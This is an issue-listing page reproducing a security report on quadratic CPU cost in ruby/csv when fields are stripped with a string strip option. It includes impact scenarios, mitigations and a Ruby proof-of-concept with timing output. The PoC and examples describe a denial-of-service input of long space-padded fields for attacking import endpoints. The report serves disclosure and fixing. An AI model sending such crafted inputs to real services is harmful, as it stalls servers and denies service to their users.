Quadratic CPU cost when stripping a long padded field with a string strip option
Dieses Issue hat noch niemand übernommen.
Bewertung
- Schwierigkeit
- 3/5
- Geschätzter Aufwand
- 1-2 Tage
- Anfängerfreundlichkeit
- 72/100
- Issue-Typ
- Bug
- Klarheit
- Klar beschrieben
- Aktivitätsstatus
- Aktiv
- Tech-Stack
- ruby
- Bereich
- backend, performance
Rechercherichtung
Start at lib/csv/parser.rb:1241, where the issue identifies repeated prefix and suffix deletion in string stripping. Read the parser’s strip handling and nearby tests, then run the relevant CSV parser tests to check existing behavior. Done means string-based stripping handles long padded fields without quadratic CPU growth while preserving the expected parsed values.
Vom Indexierungsmodell aus dem Issue-Text verfasst.
Beschreibung
About
Title: Quadratic CPU cost when stripping a long padded field with a string strip option
Repository: ruby/csv
Location: lib/csv/parser.rb:1241
Severity: Medium
Impacted versions: 3.2.4, 3.2.5, 3.2.9, 3.3.0, 3.3.7, 3.3.8
Summary
The parser can be told to strip a specific character from fields with a one-character
string, for example strip: " ", and to ignore quote processing with quote_char: nil.
In that mode it removes each leading and trailing copy of the character by repeatedly
calling Ruby's String#delete_prefix! / delete_suffix!. Every one of those calls shifts
the rest of the string in memory. A field with n leading spaces therefore moves roughly
n²/2 bytes: the work grows with the square of the field length, not linearly with it.
The measured effect is large. On this system a 100 KB padded line took about 2.4 seconds,
a 400 KB line about 12–17 seconds, and an 800 KB line about 45–57 seconds; the same line
parsed with strip: true finished in under a millisecond. The regression came from a
readability change in 3.2.4 (commit 698d1fa) that replaced the previous
value = value[1, size] form, which reused the string lazily and was effectively linear.
Impact
An application that parses attacker-supplied delimited text with quote_char: nil and a
string strip: value can be stalled by a single padded field. Because the cost is
quadratic, a 2 MB padded line occupies a parser for several minutes and an 8–10 MB line
for hours. A few concurrent requests exhaust all worker processes, turning an ordinary
upload or import endpoint into an unauthenticated denial of service.
The input is structurally valid; the attacker only needs to send a long run of the strip
character before a normal value. The same field parsed with strip: true is effectively
instant, so the CPU time is pure overhead. Applications can avoid the issue by using
strip: true, stripping fields themselves, or enforcing max_field_size; the library
should strip in a single pass instead of once per character.
Mitigations
Applications can use strip: true (String#strip! is linear) instead of a String strip:
value, or strip fields themselves, or cap the maximum field/line size with
max_field_size/request limits so a multi-MB padded field is rejected before it is
parsed. A fix in the library is to strip in one pass (compute the prefix length with a
scan/index and then slice once, or use delete_prefix only for short strings), which
restores linear behaviour.
Examples
example 1
A data-import service parses whitespace-padded flat files with
CSV.parse(body, quote_char: nil, strip: " "). An attacker uploads a line consisting of 1
MB of spaces followed by x; one request keeps a worker busy for minutes, and a handful
of parallel uploads makes the service unavailable.
example 2
A log-processing job reads CSV-like records with quote_char: nil, strip: " ". A single
field padded with 400 KB of spaces adds about 12–17 seconds of CPU to the job; at 800 KB
it adds about a minute, so a modest number of crafted records creates an hours-long
backlog.
example 3
A shared CSV API used by many tenants has a per-request timeout shorter than the parse
time; the timed-out request still consumes CPU until the parser finishes, so repeated
requests pile up and starve healthy traffic.
Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC for bug 01a21ef8-b67d-7245-8706-ed24e244c26b
#
# Parser#strip_value removes a String strip character with
# while value.delete_prefix!(@strip); end
# and every delete_prefix! memmoves the whole rest of the field down by one
# byte, so a single space-padded field costs O(n^2) bytes of copying. With
# quote_char: nil (the natural option for plain delimited text) and
# strip: " " (the documented way to avoid per-field String#strip), one long
# space-padded field submitted by a remote client keeps a parser busy for
# minutes -- while the equivalent `strip: true` parse is instantaneous.
#
# Usage:
# ruby csv_strip_quadratic_dos.rb # scaling run
# ruby csv_strip_quadratic_dos.rb --size 800000
#
$LOAD_PATH.unshift("/src/lib") if File.exist?("/src/lib/csv.rb")
require "csv"
def parse_seconds(padding, options)
line = (" " * padding) + "x\n"
GC.start
started = Process.clock_gettime(Process::CLOCK_MONOTONIC)
CSV.parse(line, **options)
Process.clock_gettime(Process::CLOCK_MONOTONIC) - started
end
def best_of(padding, options, trials)
Array.new(trials) { parse_seconds(padding, options) }.min
end
strip_string = {quote_char: nil, strip: " "}
sample = CSV.parse(" a , b \n", **strip_string)
puts "csv #{CSV::VERSION} / ruby #{RUBY_VERSION} on #{RUBY_PLATFORM}"
puts "sample: CSV.parse(\" a , b \\n\", quote_char: nil, strip: \" \") => #{sample.inspect}"
puts "line shape: (\" \" * n) + \"x\\n\" -- one column, padded with n spaces"
puts "control : the same line parsed with strip: true is linear and fast"
puts
parse_seconds(1_000, strip_string) # warm up
if (i = ARGV.index("--size"))
sizes = [ARGV[i + 1].to_i]
else
sizes = [100_000, 200_000, 400_000]
end
results = sizes.map do |n|
trials = n >= 400_000 ? 1 : 2
t = best_of(n, strip_string, trials)
per_byte = t * 1_000_000 / n
printf("padding %-8d bytes=%9d parse=%8.3fs %6.2f us/byte\n", n, n + 2, t, per_byte)
[n, t, per_byte]
end
control = best_of(results.first[0], {quote_char: nil, strip: true}, 1)
printf("control %-8d bytes=%9d parse=%8.3fs (strip: true, linear)\n",
results.first[0], results.first[0] + 2, control)
if results.size > 1
puts
puts "scaling (a linear parser's time doubles when the field doubles):"
results.each_cons(2) do |(n1, t1, _), (n2, t2, _)|
printf(" %7d -> %-7d : field x%.1f, time x%.2f\n", n1, n2, n2.to_f / n1, t2 / t1)
end
growth = results.last[2] / results.first[2]
puts
if growth > 1.5
puts "RESULT: superlinear. Per-byte cost grew x#{growth.round(2)} between the smallest and"
puts " the largest field (#{results.last[1].round(1)}s of CPU for #{results.last[0] / 1000} KB of padding,"
puts " versus #{(control * 1000).round(1)} ms for the same line with strip: true)."
puts " Cost tracks the square of the field size, so a few MB of padding is an"
puts " hours-long stall from a single request."
exit 0
end
puts "RESULT: scaling looks linear -- bug not reproduced"
exit 1
end
puts
puts "RESULT: one #{results[0][0]} byte padded field held the parser for #{results[0][1].round(2)}s"\
" (strip: true: #{control.round(4)}s)."
exit 0
stdout
$ ruby csv_strip_quadratic_dos.rb
csv 3.3.8 / ruby 3.4.9 on amd64-freebsd16
sample: CSV.parse(" a , b \n", quote_char: nil, strip: " ") => [["a", "b"]]
line shape: (" " * n) + "x\n" -- one column, padded with n spaces
control : the same line parsed with strip: true is linear and fast
padding 100000 bytes= 100002 parse= 1.776s 17.76 us/byte
padding 200000 bytes= 200002 parse= 4.158s 20.79 us/byte
padding 400000 bytes= 400002 parse= 16.722s 41.80 us/byte
control 100000 bytes= 100002 parse= 0.000s (strip: true, linear)
scaling (a linear parser's time doubles when the field doubles):
100000 -> 200000 : field x2.0, time x2.34
200000 -> 400000 : field x2.0, time x4.02
RESULT: superlinear. Per-byte cost grew x2.35 between the smallest and
the largest field (16.7s of CPU for 400 KB of padding,
versus 0.2 ms for the same line with strip: true).
Cost tracks the square of the field size, so a few MB of padding is an
hours-long stall from a single request.
# independent run of the same loop, larger fields:
n=200000 5.909 4.401 -> min 4.401 22.01 us/byte
n=400000 17.041 11.763 -> min 11.763 29.41 us/byte
n=800000 47.148 45.018 -> min 45.018 56.27 us/byte
- Vorherrschende Sprache
- Ruby
- Sterne
- 221
- Forks
- 142
- Ø Merge
- 1 T. 40 Min.
- Gemergte PRs (30 T.)
- 2
Entwicklungsumgebung
Dieses Projekt bietet weder Dev-Container noch Dockerfile noch Beitragsleitfaden – die Einrichtung liegt bei Ihnen. Beginnen Sie mit der README; die allgemeinen Schritte stehen in unserem Leitfaden für den ersten Beitrag.
Erste Schritte
- Lesen Sie das ganze Issue und danach den Beitragsleitfaden des Projekts.
- Schreiben Sie ins Issue, dass Sie es übernehmen — das erspart doppelte Arbeit.
- Forken Sie das Repository und arbeiten Sie in einem Branch.
- Öffnen Sie einen Pull Request, der die Issue-Nummer nennt.
Mehr aus ruby/csv
-
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 70/100
-
Streaming CSV parser drops records when a two-character row separator crosses a chunk boundaryOffen
Schwierigkeit 4/5 3-5 Tage Anfängerfreundlichkeit 55/100
-
Schwierigkeit 3/5 1-2 Tage Anfängerfreundlichkeit 58/100
-
Schwierigkeit 3/5 1-2 Tage Anfängerfreundlichkeit 57/100
-
Unknown converter name is silently accepted and later fails with "undefined method 'arity' for nil"Offen
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 57/100
Ähnliche Issues
-
instrumentation-sidekiq
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 65/100
open-telemetry/opentelemetry-ruby-contrib#2735 ·
Maintainer antworten meist innerhalb von 2 Tagen
-
SecureRandom.alphanumeric can silently return an empty or wrong-length secret instead of raisingOffen
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 67/100
ruby/securerandom#92 ·
-
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 76/100
we-promise/sure#5902 ·
Maintainer antworten meist innerhalb von 1 Tag
-
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 76/100
avo-hq/avo#5065 · 1 Kommentar ·
Maintainer antworten meist innerhalb von 1 Tag
-
Schwierigkeit 2/5 1-3 Stunden Anfängerfreundlichkeit 72/100
Maintainer antworten meist innerhalb von 1 Tag